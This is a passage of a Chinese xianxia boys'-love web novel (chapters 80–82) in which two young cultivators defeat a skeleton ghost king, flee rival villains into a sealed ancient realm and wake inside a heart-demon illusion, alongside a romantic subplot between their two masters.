沈云戚一时不知道说什么才好,便听那个越杳依旧不依不饶的问道:“你们两个不像道侣啊,你们没有双修过吧。” 沈云戚冷下脸来,未等他开口,手起剑落,直接削掉了他的脑袋,越杳人头点地,却没有死掉,身体立即抱着脑袋跳出了几米远,喊道:“真是可怕啊,一言不合便要杀人。” 连清回头去找,发现越杳早就隐匿进了还魂宗的人群中,消失不见了。 “你怎么……杀了我师妹,还有天理吗?”连清急道。 贺兰忱冷着脸,长剑扎进连清的脖子,道:“少在我面前装模作样,你们本就不是人。” 第 80 章 我就知道,我是主角!…… 话音落下, 连清便散作一团黑雾,消失不见了,地上只剩两只蛊虫。 此时围着的众人才意识到有人用了保命傀儡, 装作百花宗的人混了进来。 俞观南此时朝着他们聚拢过来, 袁不焕骂骂咧咧的说道:“此处为什么没有秘宝?妖物都杀了, 连个妖丹都没有?” “此处不是秘境,没有远古传承和天材地宝也是正常的。”俞观南解释道, 随后又对蓝公子道,“蓝公子, 邺城的僵尸已经全部被炸死了,可以向皇上禀告了。” 蓝公子脸上带笑,道:“自然要的,此次两位少侠功不可没,请问两位师承何处?” 俞观南解释道:“他们两位是我们青云宗剑尊的弟子。” “原来如此, 原来如此, 少年英雄,年少有为啊。”蓝公子立即盛赞两人,随后眼珠子一转,又说,“之前俞少侠说的有误, 谁说此处没有天材地宝的?” 沈云戚顿时心生不好的预感,便见那蓝公子将目光投向参爷爷,道:“这不就是活着的万年老人参吗?有了他还愁练不出神级丹药?” “什么?”众人惊呼,贪婪的目光骤然投向了老人参。 以大家的修为并不能看穿老人参的身份,蓝公子忽然冲着老人参袭击而去,盛大的力量直冲灵书的禁制,一丝精纯的人参香气蕴含着浩瀚的力量, 弥散开来。 “真的是万年老人参。” “吃了他至少能提升一个大境界。” …… 不知道是谁第一个发动的,扑上去便要抓老人参,老人参能活这么多年,修为不是顶尖的,逃跑的功夫却是十分厉害的,之前被妖鬼抓住,也是玄乎的很。 这些修士的围攻之下,他立即往地下一遁,消失无踪了。 “不好,他跑了。”还魂宗的人道,“我们分头去找。” 蓝公子却嬉笑着道:“我知道他们在哪里,知道那是什么山吗?西山无归听过吗?” “西山,原来如此,老人参便是在此山中,难怪能活这么多年。”还魂宗的人不疑有他,立即带队朝着西山的方向追去。 百花宗的几位也不遑多让,立即追了上去,俞观南还有些踌躇,恰好此时之前失散的青云宗弟子也都汇聚过来,询问情况。 俞观南道:“诸位稍安勿躁,切勿乱杀无辜,方才是老人参救了我们。” “俞观南你少在这指挥我,我们赤霄峰你可管不着,都跟我走,拿到万年人参,我让我爹炼丹,分给你们。”赫连月傲慢的打断了俞观南的话,对着一众青云宗的弟子道。 俞观南被怼的哑口无言,道:“师妹,西山无归十分凶险,去了只怕出不来,还是等掌门尊上来了再做安排。” “少来掌门尊上来压我,你以为你是尊上的弟子吗?少在这里做梦了,我们都知道了,尊上已经收了关门弟子了,却不是你。”赫连月杀人诛心,露出嘲讽一笑,话毕便朝着西山追去,生怕自己慢一步,万年老人参便成了别人的。 俞观南却僵在原地,脸色惨白,手中的剑都差一点握不稳了。 大家都朝着山里追去,不一会儿此处便只剩沈云戚,贺兰忱,俞观南以及蓝公子四人了。 蓝公子脸上挂着淡笑,问道:“你们怎么不去追那老人参?” “我知道你是谁。”沈云戚厉声道。 蓝公子笑道:“我是谁?” “你是那个骷髅,想不到你竟然还敢在人间作乱,弄死了这么多人,难道真不怕被修士们杀了吗?”沈云戚指出了他的身份。 蓝公子被认出来也丝毫不慌,道:“怎么是我弄死的?我只是想要他们的魂,扩大本鬼王的地盘罢了。” 贺兰忱道:“你还敢狡辩。” 不由分说的,他便长剑刺去。 少年得到了剑尊的真传,甚至于比教导沈云戚更严苛上心一些,他剑意极强,劈脸而来,蓝公子直面剑意,顺便被劈成了两半。 蓝公子瞪大眼睛,瞬间倒地,下一刻,一具骨头从地上爬起来,还穿着他的那一身蓝色衣服,他故作优雅的整理了一番衣帽,笑道:“你们杀不死我的。” “你是死人对吧?”沈云戚问道。 “对呀,因为我是死人,所以你们怎么弄死我?”蓝公子得意的说道。 话音刚落,无相书便在他身后展开,瞬间缠住了他,蓝公子大喊道:“你做什么,你想干什么?” “超度你。”沈云戚应道。 “不要,你放开我,你们两个小崽子,等我出来,我肯定会弄死你们。”蓝公子大喊着,很快便没了声音。 沈云戚收回长卷,变成一页纸大小,展开看了一眼,发现邺城的百姓全都进入轮回了,可那骷髅蓝公子却还在书中骂骂咧咧,不过此时他说不出话来,所言所行都变成了文字写在书上,纸上还有个骷髅小人跑来跑去,看上去是在寻找出路。 他不明白为什么这个鬼为什么无法超度,打算将人带回去问问他爹怎么办。 沈云戚还没有收起来无相书,便看到书中的小骷髅像是发现了什么,转了方向,直勾勾的看向沈云戚,两个小手的线条在那团吧团吧,丢了个纸团出来,砸在了他的脸上。 沈云戚下意识的皱眉,骷髅小人的胳膊线条捂在肚子上哈哈大笑。 “无聊,幼稚。”沈云戚将无相书收了起来。 贺兰忱看了他一眼,道:“我们先去找老人参吧,我刚刚忽然想到,你的二牛哥可能就混迹在还魂宗的人中。” 沈云戚瞥了他一眼,欲言又止,最后还是没有多话,转而跟俞观南道:“我们要去西山,你有何打算?是要等师伯吗?” “我……跟你们一起走。”俞观南犹豫了片刻,决定跟沈云戚他们一起,似乎在心里下定了什么决心一般。 为什么尊上不收他为徒?为什么尊上要收别的弟子? 若是不打算收他为徒,当年他为什么要救自己? 俞观南决定一定要让尊上看到自己,让他收自己为徒。 西山是远古大山,曾经也是妖兽横行,毒瘴弥漫,寻常人是不敢进入的,就连修为极高的大能也不敢轻易踏足。 西山深处有一处锁灵阵,进了此处修为会被压制境界,还会不小心进入荒古封印之中,进入那里便再也出不来了。 六界之中,反正没有听说过谁进去了还出来。 他们三人进入密林的时候,之前那些修士早就如鸟投林,不见了踪迹,他们为了寻找万年老人参,恨不得将山都给炸了,到处都有修士使用法术的痕迹。 “当真没有人出来过吗?”贺兰忱一边用剑劈肆意生长的杂草,一边询问。 俞观南点头,道:“从未听说过。” “我倒是听说有人出来过。”贺兰忱淡淡一笑。 “那必定是已经飞升的修士,不在此界之中。”俞观南理所当然的说道。 贺兰忱歪头想了一下,若是要这么说,也没错。 天柱被撞断了,下届的修士就算到达飞升境界,也无法脱离此界。 比如他们的两个师父,沈君钦和渡妄。 俞观南对西山的事情知晓挺全面的,跟他们解释道:“所以我不想大家随意进出此地,若是有去无回的话,亦是宗门的损失,听说十多年前,所有宗门倾巢而出,全部都死于秘境中,只有一人生还,之后各大宗门便大换血,重新招收弟子。” “俞师兄,你很博学,竟然看一眼这个便知道。”沈云戚惊奇道。 这个俞观南看上去十分稳健,做事情瞻前顾后的,理论知识倒是挺好的。 上知天文下知地理,一看就是刻苦学习的学霸。 俞观南浅笑了一下,解释道:“这些都是基础,知彼知己百战百胜。” 几个人继续往山里走,不料穹顶之上却传来了大能的威吓之声,声音宛如洪钟从天顶罩了下来,他们三人听到声音立即捂住耳朵。 “无耻小儿,竟敢盗我佛门圣宝。” 糟糕,此人是冲着沈云戚来的。 沈云戚仰头看去,只见三给黑色的小点从远处而来,逐渐变大,他很快便认出了三人,立即道:“分开跑。” 俞观南犹豫了一下,沈云戚道:“他们是冲我来的,你若是遇上师伯,让他来救我们。” 显然这句话说服了俞观南,他立即朝着另一个方向跑走了。 至于贺兰忱,他自然不会抛下沈云戚。 两个人也赶紧跑路,身后三人穷追不舍,不过好在进了西山之后,他们似乎也有所顾及,并未如之前那般,一目千里,放缓了追踪的速度,倒是给了沈云戚与贺兰忱的逃跑的时间。 “他们怎么一直跟着我们。”沈云戚问道。 “修真界就是这样的,有一个宝物,所有人闻着味道便追上来了,所以提升自身实力才是最要的。”贺兰忱是沉着眸子,尤为坚定的开口。 西山到底是远古大山,进了里面便难以分辨方位,追踪他们的三人很快便丢了目标。 沈云戚与贺兰忱一直御剑往前飞,忽然挡在眼前的树林消失,眼前的景色豁然开朗,他们竟不知什么时候跑到了一座峰的峰顶,此地竟别有洞天,山顶是一座死火山口,凹下去的地方犹如世外仙境,美不胜收。 或许下面有可以躲藏的地方。 沈云戚这般想着,便落在了地上,朝着山洼里走去。 “不能走,别进去。”老人参焦急的喊道。 沈云戚回头便看到老人参的长须须长出来,缠住了他的腿,他问:“怎么了?” “你们两个赶紧离开这里,这是锁灵阵,进去的话,会被禁制压制修为。”老人参赶紧道。 贺兰忱忽然眼睛一亮,问道:“无论是谁的修为都会被压制吗?” “就算大罗金仙来了,也会被压制。”老人参没好气的教育道,“你们难道还不相信我吗?我开灵智都有五千年了。” 贺兰忱赶紧好声好气的说道:“不是不信,参爷爷冒着被抓的危险来阻止我们,肯定是好心。” “哼,知道就好。”老人参吹胡子道。 言谈间,那三位便闻风而至,老人参尚未来得及躲闪,便听到叛修罗道:“那是人参精,天命和无相书我都不要了,我要那老人参。” “呵呵,无知小儿,还不速速交出我佛门圣宝。”万无妖僧临空而立,一身红金相见的袈裟透着血腥的诡异气息。 化魔老祖也道:“你以为你们能逃出我们的手掌心吗?别做无谓的挣扎了。” “废话这么多,还不是我爹的手下败将吗?”沈云戚不屑道,“有本事找我爹1V1,你们三个大能欺负我们两个初出茅庐的小孩子,算什么英雄好汉?” 话音刚落,空中红影虚晃几下,那万无妖僧瞬间冲到了沈云戚的面前,一双媚眼如丝的眸子贴的极近。 沈云戚吓得往后猛退了两步,道:“你你你……” “我最喜欢欺负小孩,弱者杀起来才有意思。”万无妖僧伸手掐着沈云戚的脸颊,长长的指甲陷入他的皮肤里,“还不速速交出无相书。” 沈云戚立即认怂道:“我给你,我给你,你别杀我。” 说着沈云戚便拿出无相书来,万无眼中透出蛊惑人心的笑意,伸手去接那个无相书的时候,贺兰忱直接伸手去抢了,朝着锁灵阵中丢了进去。 万无妖僧脸色骤变,道:“你敢耍我?” 贺兰忱不言语,直接拽着沈云戚便跑,一边道:“你想要的话,自己去拿吧。” 万无妖僧却没有直接去捡无相书,身上狂气暴增,怒道:“我先杀了你们,你们身上的宝物便是我的了。” 说着,他手中的念珠骤然变长,朝着沈云戚的脖子伸去,大有要缠住他的意思,在碰到他的瞬间,却被人参须打开。 沈云戚和贺兰忱便双剑出鞘,朝着他命门袭来,三个人立即打斗在一起,期间还有老人参不断骚扰,一时间竟然也没有分出胜负。 叛修罗和化魔老祖见状一边在旁边看热闹,隐约看出了些许门道,以这妖僧的修为应该绝对碾压两个小儿才对,现在竟然打了这么久。 两个人心里打着小算盘,一边笑问道:“老弟,要我们帮忙吗?” “不必。”万无妖僧拒绝道。 说时迟那时快,叛修罗一记地狱魔爪袭来,直接打中了妖僧的背。 他们竟然自己打起来了。 很奇怪。 沈云戚就说自己是主角,遇到反派们,分明都打不过了,对方还会内讧。 沈云戚和贺兰忱交换了个眼神,一溜烟跑了。 * 仙岛之上,云雾缭绕,灵气源源不绝,萦绕在两个人的身边。 沈不忘此时正合着眼睛,靠在他的腿上,似在闭目养神,渡妄伸手轻轻抚着他的脸颊,手指落在他的嘴唇上,押进他的唇缝。 他此时嘴角挂着淡淡的笑,似乎梦见了什么有趣的事情,他垂首在他嘴角亲了亲,墨色的长发落在他的脖颈间,白皙的皮肤上染上了浅红的痕迹,宛如红梅落雪中。 他加深了这个吻,反正他是发情期的龙,索取无度一些也是有理由的。 沈不忘从微微的窒息感中醒来,张口想要呼吸,却吃进了他的舌头,从浅浅的亲吻变得越发火热。 沈不忘抬手揽着他的脖子,忽然身边去传来一个小纸鹤,贺兰忱的声音传来:“师尊师尊师尊师尊,江湖救急!” 渡妄微微蹙眉,抬手打开了那只纸鹤,落在地上一蹶不振。 他将怀里的人搂的更紧一些,沈不忘却推开他,微微喘息道:“阿忱找你,兴许遇上了危险。” 渡妄皱眉,心生不满,啧了一声,就算把人赶走了,还是这么不识趣。 可是对上道侣担心的模样,他还是耐着性子回应了贺兰忱。 渡妄听了他的问题,不由挑眉道:“你是说你们进了荒古圣地的封印里对吧,现在出不来?有个老人参说你们至少三百年才能出来?” “师尊,我怎么觉得你好像很开心。”贺兰忱提醒道。 沈云戚声音插进来:“你幸灾乐祸都要溢出来了,快点教我们怎么出去。” 渡妄压了压嘴角的笑意,瞥了一眼沈不忘,若是不说出个方法来,道侣大有亲自去救他们的意思,他立即将人往怀里揽了揽,还在他嘴唇上啄吻了一下,道了句:“安心,没事。” 他又对贺兰忱道:“那个封印被我破坏了,不过它会自我修复,我算算,现在只要分神期的修为便可打破禁制,你们好生修炼一番,长则五年,短则一年便可出来,当然,若是你们修炼太慢了,没有禁制修复的快,那为师也爱莫能助了。” 他又看了一眼道侣的表情,又说:“若是你们五十年内出不来,我们就勉为其难去救你们吧。” 沈云戚听到这话,问道:“我怎么感觉,你就想支开我们?” “这是对你们的历练,荒古圣地是多少修士想要进入的宝地?小崽子,你该不会没有自信吧,身为仙君的儿子,该不会连这个分神期都做不到吧?”渡妄阴阳怪气了一番。 这话确实把沈云戚给拿捏到了,他怒道:“你等着吧,我们一年之内就能出来,等我打你脸。” “乖宝,好好修炼,阿忱现在修为比你高,你们可以……” 话未说完,通讯符便自燃了,大约是小崽子害羞了。 渡妄冲着沈不忘眨了一下眼睛,道:“看吧,我就说没问题。” 沈不忘沉默片刻,也觉得此事并无大碍,在荒古圣地闭关修行,反而很安全,不会有人傻到去一个有去无回的地方追杀他们俩。 “还满意我的处理方式吗?”渡妄笑盈盈的看着他。 沈不忘没有应声,他便凑上去咬他的唇瓣。 “满意。”沈不忘终于应他了。 渡妄得寸进尺道:“是对我满意,还是对我做的事情满意?” 沈不忘:…… 他不是很懂,这人每次都会就着一件事情问个很多遍,沈不忘无法分辨这有什么区别,但是无论他说什么,这人都会自圆其说,他都会往那档子事情上做。 沈不忘此时有些怪异的问道:“你做这种事情,不会厌倦吗?” “跟你在一起,怎么会厌倦了?”渡妄伸手摸了摸他的脸颊,凑近他,“能让你开心,我荣幸之至。” 沈不忘无言。 他还是那番自鸣得意的模样,道:“方才你做梦都在笑,难道还不觉得开心吗?” “不是梦到你。”沈不忘回道。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 80-90 第 81 章 爱上我了,对吧? 渡妄愣了一下, 笑容僵在脸上,目光一闪而过的阴沉。 沈不忘抬手捏了捏他的脸,面上带笑解释道:“是梦到了戚宝小时候, 他很小很小的时候, 小小的一个, 特别可爱。” “哦?”渡妄想了想戚宝小时候,一天到晚搞破坏, 不喜欢他同沈不忘亲近,“他才五岁, 就已经老气横秋了。” 沈不忘见状解释道:“在遇见你之前,更小的时候。” “他一出生就这么老气横秋吗?”渡妄问道。 沈不忘顿了一下,若有所思的点点头。 他确实一出生就有自己的想法,也会总说一些他听不懂的话,唯一不变的就是十分粘人。 “肯定是戚宝他娘把他教坏了?”渡妄阴恻恻的问道。 沈不忘摇摇头, 道:“不是, 那时候他还是个小婴儿,只有这么小,没有人教他。”他说着比划了一下长短,眼底满是温和的笑意,难得有闲情雅致的跟他说这些家常的事情。 渡妄听着听着, 仿佛也融入了父子两的生活,在那个不起眼的荷花村里,日出而作日落而息,其乐融融的。 还有戚宝小时候喜欢捣乱,总是把小房子弄得淹掉,或者无法控制自己将家里搞得乱七八糟,导致房子越来越破, 这也让沈不忘练就了一身修缮屋子的能力。 他胆子还大得很,还敢经常一个人到处跑,直到有一天去了西山,受了伤回来后,胆子便小了,一开始就连听到妖怪二字都怕的躲进他怀里。 他还找娘,找了三个妖怪回来,把戚宝吓得不行。 他听得入神,听着听着又觉得不对劲,问道:“戚宝的娘去哪里了?” “……”沈不忘愣了一下,蹙眉看向他。 渡妄像是很不在意的笑问道:“还是不愿意告诉我吗?” 沈不忘叹息了一声,起身离开,渡妄直接穿上衣服追了上来,问道:“为什么不愿意告诉我?那个人在你心中占据了这么重要的位置吗?我们不是道侣吗?那个人在你心中更重要是吗?” 沈不忘回头看他,男人眼中有他看不懂的神色,与平日里的浓情蜜意不同,他沉默了片刻,回道:“戚宝没有娘亲。” “呵,怎么可能,难道你要说戚宝是你捡来的吗?”渡妄觉得他的谎言如此荒谬,就算傻子来了都不会信。 沈不忘沉默着,正在犹豫要不要将这件事情告诉他。 若是说了,他会不会要求他们也生一个孩子,这实在太过离奇了。 渡妄见他不语,直接道:“他不是你捡来的,因为身上的气息跟你是一样的,你们一脉相承,你想骗我,门都没有。” 沈不忘眨巴着眼睛看他,男人黑色的瞳孔中散落着星星点点的红色,宛如要入魔了一般。 “我觉得你现在需要冷静一下。”沈不忘抬手摸了摸他的脑门,像是安抚一般。 渡妄却恼火不已,心中没由来的冒着火,因为他的态度,因为他一直藏着掖着保护的那个人。 他一把攥住他的手,怒道:“你别想糊弄我,你师兄明明让你去找那个人。” 沈不忘揉了揉眉心,真是说不通了,师兄让他找师弟,他根本记不得是谁,只有个黑色的花瓣。 他对那个人也不感兴趣,就算曾经喜欢过的人,他也不记得,不在乎了。 任凭别人一张嘴,想怎么说就是什么,谁知道那是真是假。 眼看着渡妄还想说话。 沈不忘凑上去,要贴上他的唇瓣。 男人却恼火的偏了一下脑袋,这一吻落在了他的脸颊上。 “你别想用美色来糊弄我,我不吃你这一套。”渡妄依旧气鼓鼓的。 沈不忘略显尴尬,直接从他怀抱里起身,道:“看来你也没有到哪什么发情期,原来是骗我的。” 渡妄:…… 失策了! 沈不忘找到自己的衣裳,慢条斯理的穿戴,身后的男人搂了上来,按住他要系衣带的手。 耳边落下的吻又细又密,宛如狂风骤雨一般。 “不许走。”渡妄在他耳边低语,十足委屈般的说道,“你什么都不跟我说,为什么这么坏?” 沈不忘略一思索,他说的似乎没错,他确实有些坏。 看着他交付真心,看着他沉沦于自己的甜言蜜语,一切是的结局都将走向死亡。 沈不忘心中微微动摇了一下,要不就这么算了吧?他或许该听伯疏流的,去寻找那个师弟,反正自己都杀过他一次了…… “我……” “咦,你爱上我了,对吗?”渡妄忽然惊喜的说道。 藏于元神里的两生珠微微亮了一下,萤火一般的光芒,转瞬即逝,可就是这一下,也足以让他激动万分。 沈不忘尚未明白发生何事,便被人抱起来,原地转了两圈。 衣服是穿不了,激动狂喜的男人此时此刻只想摁着自己的道侣继续。 原来仙君的心不是如冰川一般难以焐热。 他的爱也会为他逗留的。 先前争吵的事情就此揭过。 两个人不知日月长,在他们的爱巢中,越发缠绵。 “叮铃——”一声。 与沈不忘元神系在一起的魂铃铛响了一下,这是十三年来第二次响起,声音极轻。 上一次是在奉天城的时候。 沈不忘第一时间便在睁开了眼睛,赶紧坐起身来。 他还以为戚宝那一魄已经烟消云散了,现在竟然突然又修复好了,它在哪里? 沈不忘脑子飞速的转动起来,决定出去寻找一番。 腰间还横亘着手臂,他正被人搂在怀里,身后贴着的肌肤滚烫。 男人的脑袋埋在他的长发里,他此时呼吸绵长,已经陷入沉睡。 沈不忘悄无声息的将他的手拿开,穿好衣裳,离开。 他都毫无要醒来的架势。 看来是累了。 沈不忘很快便御剑离开,他一定要找到戚宝的丢掉的那一魄。 人都有三魂七魄,若是丢了魂会变得痴傻,若是丢了主七情六欲的魄那人则会失去一些情感。 目前来说,沈云戚丢了那一魄并未有什么大的后遗症,只是丢了儿时的记忆罢了。 若是寻常人或许也发现不了,或者寻不回来。 可是他们是修士,若是魂魄不全,日后容易徒增心魔。 沈不忘自是不会看到自己的孩子被心魔纠缠。 他决定去上次追丢的地方寻找戚宝的魂魄——奉天城。 渡妄做了个梦,梦见了年轻时候的事情。 那时候他问沈君钦要不要跟他走,不要修那个什么无情道了,一听就不是什么好东西。 沈君钦笑着说:“好呀。” 渡妄听到这话,顿时浑身像是被蚂蚁咬了一样。 骚动不安的,心里都跟着痒痒的,他讷讷的回答:“你怎么这么容易就放弃啊,这是不好的,而且你也不问我去哪里,就不怕我把你卖掉吗?” “不怕。” 他的实力不怵去任何地方。 渡妄当时以为他是这个意思,现在想来,他是相信自己。 渡妄追着他问:“为什么?这么相信我吗?我可不是什么好人,我坏得很。” “那也不会害我,对吗?”沈君钦笑道。 渡妄感觉自己的心都不会跳了,为什么要对我这么笑? 渡妄哼了一声,没有应声。 “那我们今晚就离开无月崖,在后山集合。”沈君钦已经开始筹划离开的事情了,真是个行动派。 月黑风高夜,两个人密谋着远走高飞。 没有任何人知晓,去一个只有他们的地方,怎么听上去像私奔? 渡妄被这个念头灼烧了一下,心情好得不得了。 下午的时候,他都无心练功了,蹲在丹炉旁边发呆。 伯疏流过来检查丹炉的时候,问了句:“师弟,你怎么在这?” “啊?不是你让我帮忙炼丹的吗?”渡妄道。 伯疏流顿了一下,笑道:“平日里,你不是一直都追着阿钦到处跑的吗?什么时候会帮师兄炼丹?” 渡妄好心情的哼了一声,道:“毕竟我们以后相处的时间不多了,帮帮你。” 伯疏流疑惑的问道:“你要去哪里?回家了吗?” “哼。”渡妄得意的道。 伯疏流又笑:“你之前不是说要等师尊回来,拜他为师吗?不等了?” “嗯。”渡妄应道。 伯疏流感慨:“那阿钦可能会伤心的。” 渡妄年轻气盛,藏不住话:“阿钦当然跟我一起走啊。” 伯疏流疑惑的看了一眼他,虽然不解,但是祝福。 夜里,渡妄在后山等沈君钦,忽然,他感觉自己血液开始沸腾,他竟然控制不住自己,骤然变成了一条龙,魔气横生,笼罩在整个无月崖。 他怎么都变不回人了,然后他就看到了沈君钦提剑而来。 渡妄想说:“是我啊!” 可是张口却是龙吟,魔气冲天。 沈君钦怒斥:“哪里来的魔物,竟敢在我无月崖作祟。” 他怒红了眼睛,没有找到师弟的踪影,以为他被这魔龙吃了。 一人一龙打的天昏地暗,他一剑扎进了他的脖子里。 他逃窜离开,回了魔界。 之后沈君钦见到他便要杀,就算他变成了师弟的模样,沈君钦也似不认识他的模样。 目光冷锐如刀。 渡妄从这梦魇中醒来,揉了揉眉心。 他好久没有记起那件事了,他不受控制变成了龙。 这事好熟悉,仿佛就如这次一般。 渡妄此时十分难受,血液开始沸腾,他四下寻找自己的道侣。 哪里还找得到他的人? 仙岛上没有,山下没有…… 他走了?他去寻人了对吧? 他去找谁,是不是去找戚宝的娘亲了? 在他熟睡的时候,他出去过多少次,他与那个人相会过多少次? 愤怒,嫉妒,不甘,此时此刻正在心中弥漫开来。 黑色的龙鳞从脖子生出,直接布满了脸上,原本只是想要骗骗道侣的发情期,此时竟然真的来了,可当事人却不清楚这是什么缘故,这是他生平第一次。 伴随着暴怒的心绪,黑色的巨龙腾空而起,直冲九霄,天地为之变色,倾盆大雨宛如末世降临一般,淹没了不少庄家村庄。 沈君钦,你若是不出现,我就杀掉所有人。 没有由来的盛怒布满了心脏。 第 82 章 心魔 荒古圣地内。 沈云戚和贺兰忱面对面对坐着, 身边还有一脸苦相的参爷爷。 他们是逃脱了三个大能的追杀,同时也掉进了荒古圣地。 此地便是当年沈君钦关魔尊的地方,两个人用了五十年才出去。 这里自成小世界, 山峦花木, 叫不上明目的各种灵植比比皆是, 空气中灵气也极为浓郁。 若不是此处有进无出,那也不失为一个闭关圣地。 禁制法阵便是会根据禁地关押者的修为而增长, 相当于概念神了。 永远胜天半子。 沈云戚区区筑基,贺兰忱区区金丹。 渡妄嘴上说着已经破坏了禁地的禁制, 可是法阵会自我修复。 距离法阵被破坏已经过去了十多年了,现在已经也需出窍期的修为才能出去。 他们若是修炼到了出窍修为,那阵法又会暴涨两个境界。 服了,简直无解。 遇到问题,第一想法求助爹, 可惜爹不靠谱, 有爹也能体验孤儿的生活。 沈云戚唉声叹气一声,惆怅的看着贺兰忱,问:“有什么一日万里的修行方式就好了。” “做梦吧,梦里什么都有。”贺兰忱认真的翻着鸡翅,在上面刷上一层蜂蜜。 色泽莹润, 十分可口的想鸡翅便要烤成了。 沈云戚立即气鼓鼓的,道:“我爹肯定不会放任我们不管的。” “宝宝,你遇到事情能不能不要靠爹。”贺兰忱将烤好的鸡翅递给他,眼睛里都带着笑意。 沈云戚哼了声,问:“那靠谁啊?靠自己吗?” 贺兰忱指了指自己,大言不惭:“靠老公。” 沈云戚想说你脸都不要,随后话锋一转, 道:“老公,那你快点带我出去。” 为人算是十分能屈能伸了。 不就是叫一声老公么,小意思。 贺兰忱听到这话,脑袋空了一下,看着眼前人眨巴着大眼睛,一边啃着鸡翅。 老人参则是没眼看,找了块灵力充裕的土壤钻进去了。 “嗯,让我思索一下。”贺兰忱托着下巴,一脸深沉的开口。 沈云戚啃啃啃,啃完了一整个大鸡翅,擦了擦嘴角,问:“思索好了吗?” 贺兰忱道:“没有。” “哦,原来是个没用的老公啊。”沈云戚恍然大悟,一脸正色道。 贺兰忱看他,总觉得这小子说话意有所指。 沈云戚吃饱喝足,起来到处转一圈。 圣地小世界不大,大致分为东西两个区域,他们现在所在的位置便是东区,是比较安全的地方。 他们依灵泉而扎寨,这里是七彩凤尾鸟的栖息地,刚刚他们就抓了两只考了吃了。 此地也没有星辰日月的衍变,在这里很容易忘记时间的。 沈云戚跑了一圈回来时,发现贺兰忱已经铺了个草堆,和衣而眠了。 他没有多想,也靠着他旁边,睡了过去。 这一觉睡得很熟。 再次醒来的时候,沈云戚便赤身裸体的躺在床上,床边背对着他的是正在穿衣服的贺兰忱。 他冷沉着脸,束好衣袖,偏头冷眼扫了他一眼,道:“你这般修为,便不要跟我去帝陵了,以免拖我后腿。” “……”沈云戚无言以对,他尚未明白发生了什么。 他们方才不是在荒古圣地之中么?怎地突然两个人躺在床上了?准确来说是只有他一个人躺在床上。 沈云戚还在回忆之前发生的事情,他们向渡妄求助该如何出去,反正就是要修炼,还被坏爹嘲讽了一番。 沈云戚当时还真的想说,要不直接跟贺兰忱双修吧,只是尚未与坏爹说完话,同他们一起逃入荒古圣地的妖媚和尚便来抢夺无相书,之后对他们使了个什么东西,他好像说叫什么心魔引? 随后便拿着无相书逃之夭夭了。 沈云戚与贺兰忱倒在一起,醒来便这样了,这是在谁的心魔里吗? 他们两个做了什么吗?总不能真的做了吧? 沈云戚感受着自己的身体,发现并没有任何翻云覆雨后的异样,那里不疼,身上没有任何痕迹。 他可以百分之百的确认,贺兰忱只是嘴炮。 沈云戚十分疑惑,这是什么地方,为什么他说的跟事后一样? 因为他长久未回应,贺兰忱不禁皱起了眉头,扭头看他,语气中带着不耐烦道:“我跟你说过,我与风谣确实有婚约,但这不是你伤她的理由。” 沈云戚:???? 不是,你在演渣男吗?你不是才跟我结为道侣吗?这就跟别人有婚约了? 难道这个风谣就是贺兰忱喜欢的人? 贺兰忱见他不言不语的,拧着眉头,道:“若是你还这般善妒,我会把你赶出去,届时你作为魔尊的儿子,你觉得各大宗门会如何绞杀你?现在你只能依靠我,只有我才能保护你。” 沈云戚算是听明白了,不是他的错觉,贺兰忱对他的态度确实好恶劣,他立即指出来,问道:“你怎么跟我这么说话?我不喜欢听。” 贺兰忱见沈云戚这么直白的说出来,面上表情不由愣了一下,随后又露出恶劣的表情,上前一步,捏住沈云戚的下巴:“怎么?难道要怎么说?你不过是供我修炼的炉鼎,而风谣才是我的皇子妃,认清你自己的身份。” “炉鼎?”沈云戚小脸皱成了包子,再一次提出,“你现在说话的样子好像炮灰反派。”十分欠揍,本主角想要把你给杀了。 贺兰忱眯了眯眼睛,道:“是你自找的,若不是你擅自与我结下婚契,你以为我会跟你上床?” 沈云戚沉下脸来,心道:管不住自己的□□,还怪我跟你结下婚契?狗男人真会为自己找理由。 眼前的显然不是贺兰忱,却又有贺兰忱的气息。 莫不是这是贺兰忱的心魔? 沈云戚想到来这之前,那个妖僧给他们种下的心魔引。 他就暂且假设眼前的是贺兰忱的心魔,若它是心魔的话,真的贺兰忱在哪里了? 心魔从房间里离开,沈云戚也从床上爬起来,他上上下下里里外外检查了一番自己,他再一次确认自己并没有跟贺兰忱的心魔发生什么。 推开房间的门,外面竟是熟悉的场景,山河王朝的皇宫,这是天元殿。 屋外下着小雨,地面上全是湿的,天地一片灰暗的颜色,却挡不住喜庆的红灯笼。 大红的喜字贴在上门上,窗户上,皇宫里俨然在布置一场盛大的婚礼。 沈云戚打算离开天元殿,去寻找真正的贺兰忱。 修真人士的心魔,会拖累他的修为,若是不早早解决,后续境界便难以突破。 沈云戚边找贺兰忱本尊,一边想,贺兰忱说要带他离开圣地,是不是就打算解决心魔,突破修为? 那他就帮帮贺兰忱吧! 还有……贺兰忱的心魔究竟是什么东西?是怎么来的? 沈云戚走出宫殿的门时,外面便有两个侍卫拦住了他的去路,词严厉色道:“殿下有令,你不可踏出宫殿一步。” “今天你们便挡不住我了。”沈云戚说着,便直接打晕其中一人,另一个侍卫见状,拔刀便要对沈云戚动手。 沈云戚在山上基础练得可好了,一个飞踢,踹断了他的大刀,飞身一脚踢在侍卫的脑袋上,他也两眼一翻晕了过去。 沈云戚大摇大摆的离开了天元殿。 小时候,他在皇宫里住过一段时间,那时候贺兰忱住在东宫里,他来到东宫,发现此处破落无比,到处结了蜘蛛网,桌上的书本也都风化变脆了,桌椅缺胳膊少腿。 沈云戚四处寻找了一圈,发现此处并没有一点人的踪迹。 他心中带着些许疑惑,从东宫离开,去了皇家藏书阁,这里他们也来过,藏书阁一共有五层,沈云戚一层一层的上去,他有预感,贺兰忱就在这里。 他每一个书架都寻了一遍,忽然眼角的余光看到一个角落有一本书在发着光。 沈云戚走过去,捡起那本书看了一眼,顿时眼睛一亮:“高中数学!” 他翻开这本与这个世界好不相同的书,打开看了一眼,第一页上写着【贺兰忱】三个大字,笔走龙蛇,潇洒无比。 翻进去一看,里面全是错题,一整本书翻完,也并未觉得有什么特别。 “贺兰忱?你在这里吗?”沈云戚喊了一声。 空旷的藏书阁并没任何回应,显然,贺兰忱不在这里。 沈云戚将这本高中数学放在怀里,又朝着外面走去,准备去下一个地方寻找。 顺着小时候从藏书阁出去的路线,来到了冷宫。 当时有个疯癫的女人,抓走了他,当时是贺兰忱救了他,戚宝当时太小了,想要去找人救他,却当场迷了路。 “贺兰忱,你在这里吗?” “贺兰忱……” 